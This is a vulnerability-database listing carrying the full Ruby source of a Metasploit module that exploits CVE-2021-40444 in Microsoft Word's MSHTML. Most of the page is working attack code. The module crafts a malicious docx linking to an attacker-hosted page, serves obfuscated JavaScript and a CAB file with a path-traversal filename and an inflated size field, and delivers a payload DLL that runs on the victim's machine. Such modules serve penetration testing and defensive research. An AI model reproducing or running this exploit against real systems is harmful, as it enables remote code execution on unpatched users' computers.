Lucene search
K

Microsoft Office Word MSHTML Remote Code Execution Exploit

🗓️ 09 Dec 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 340 Views

Create malicious Word docx for MSHTML RCE

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for Path Traversal in Microsoft
3 Oct 202120:23
gitee
Gitee
Exploit for Path Traversal in Microsoft
6 Sep 202500:58
gitee
Gitee
Exploit for Path Traversal in Microsoft
6 Sep 202500:46
gitee
Gitee
Exploit for Path Traversal in Microsoft
8 Oct 202115:46
gitee
Gitee
Exploit for Path Traversal in Microsoft
6 Nov 202103:51
gitee
Gitee
Exploit for Path Traversal in Microsoft
12 Sep 202112:47
gitee
Gitee
Exploit for Path Traversal in Microsoft
9 Oct 202114:52
gitee
GithubExploit
Exploit for CVE-2022-30190
31 May 202214:10
githubexploit
GithubExploit
Exploit for Path Traversal in Microsoft
5 Jun 202302:27
githubexploit
GithubExploit
Exploit for Path Traversal in Microsoft
15 Sep 202122:34
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word Malicious MSHTML RCE',
        'Description' => %q{
          This module creates a malicious docx file that when opened in Word on a vulnerable Windows
          system will lead to code execution. This vulnerability exists because an attacker can
          craft a malicious ActiveX control to be used by a Microsoft Office document that hosts
          the browser rendering engine.
        },
        'References' => [
          ['CVE', '2021-40444'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],
          ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],
          ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],
          ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],
          ['URL', 'https://github.com/klezVirus/CVE-2021-40444']
        ],
        'Author' => [
          'lockedbyte ', # Vulnerability discovery.
          'klezVirus ', # References and PoC.
          'thesunRider', # Official Metasploit module.
          'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
        ],
        'DisclosureDate' => '2021-09-23',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'FILENAME' => 'msf.docx'
        },
        'Targets' => [
          [
            'Hosted', {}
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
    register_advanced_options([
      OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),
    ])
  end

  def bin_to_hex(bstr)
    return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)
  end

  def cab_checksum(data, seed = "\x00\x00\x00\x00")
    checksum = seed

    bytes = ''
    data.chars.each_slice(4).map(&:join).each do |dword|
      if dword.length == 4
        checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
      else
        bytes = dword
      end
    end
    checksum = checksum.reverse

    case (data.length % 4)
    when 3
      dword = "\x00#{bytes}"
    when 2
      dword = "\x00\x00#{bytes}"
    when 1
      dword = "\x00\x00\x00#{bytes}"
    else
      dword = "\x00\x00\x00\x00"
    end

    checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse
  end

  # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
  def create_cab(data)
    cab_cfdata = ''
    filename = "../#{File.basename(@my_resources.first)}.inf"
    block_size = 32768
    struct_cffile = 0xd
    struct_cfheader = 0x30

    block_counter = 0
    data.chars.each_slice(block_size).map(&:join).each do |block|
      block_counter += 1

      seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"
      csum = cab_checksum(block, seed)

      vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")
      cab_cfdata << csum                     # uint32 {4} - Checksum
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length
      cab_cfdata << block
    end

    cab_size = [
      struct_cfheader +
        struct_cffile +
        filename.length +
        cab_cfdata.length
    ].pack('L<')

    # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)
    cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)
    cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
    cab_header << cab_size # uint32 {4} - Archive Length
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)

    cab_header << "\x2C\x00\x00\x00"         # uint32 {4} - Offset to the first CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)
    cab_header << "\x03"                     # byte   {1} - Minor Version (3)
    cab_header << "\x01"                     # byte   {1} - Major Version (1)
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Folders
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Files
    cab_header << "\x00\x00"                 # uint16 {2} - Flags

    cab_header << "\xD2\x04"                 # uint16 {2} - Cabinet Set ID Number
    cab_header << "\x00\x00"                 # uint16 {2} - Sequential Number of this Cabinet file in a Set

    # CFFOLDER
    cab_header << [                          # uint32 {4} - Offset to the first CFDATA in this Folder
      struct_cfheader +
      struct_cffile +
      filename.length
    ].pack('L<')
    cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder
    cab_header << "\x00\x00"                 # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)

    # increase file size to trigger vulnerability
    cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")
      data.length + 1073741824
    ].pack('L<')

    # set current date and time in the format of cab file
    date_time = Time.new
    date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')
    time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')

    # CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)
    cab_header << "\x00\x00"                 # uint16 {2} - Folder ID (starts at 0)
    cab_header << date                       # uint16 {2} - File Date (\x5A\x53)
    cab_header << time                       # uint16 {2} - File Time (\xC3\x5C)
    cab_header << "\x20\x00"                 # uint16 {2} - File Attributes
    cab_header << filename                   # byte   {X} - Filename (ASCII)
    cab_header << "\x00"                     # byte   {1} - null Filename Terminator

    cab_stream = cab_header

    # CFDATA
    cab_stream << cab_cfdata
  end

  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"
    inf = "#{File.basename(@my_resources.first)}.inf"

    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')
    js_content = ::File.binread(file_path)

    js_content.gsub!('REPLACE_INF', inf)
    js_content.gsub!('REPLACE_URI', uri)
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += js_content.to_s
    html += '</script></body></html>'
    html
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/document.xml'
        entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str[0, 1] == '/'
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_cab = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'application/octet-stream',
      'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"
    }

    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      if request.raw_uri.to_s.end_with? '.cab'
        send_response(cli, '', header_cab)
      else
        send_response(cli, '', header_html)
      end
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.cab'
      print_status('Sending CAB Payload')

      send_response(cli, create_cab(@dll_payload), header_cab)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.match(/\.xml|\.rels$/i)
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

  def primer
    print_status('CVE-2021-40444: Generate a malicious docx file')

    @proto = (datastore['SSL'] ? 'https' : 'http')
    if datastore['SRVHOST'] == '0.0.0.0'
      datastore['SRVHOST'] = Rex::Socket.source_address
    end

    template_path = get_template_path
    unless File.extname(template_path).match(/\.docx$/i)
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in docx document')
    inject_docx

    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)

    @dll_payload = Msf::Util::EXE.to_win64pe_dll(
      framework,
      payload.encoded,
      {
        arch: payload.arch.first,
        mixed_mode: true,
        platform: 'win'
      }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation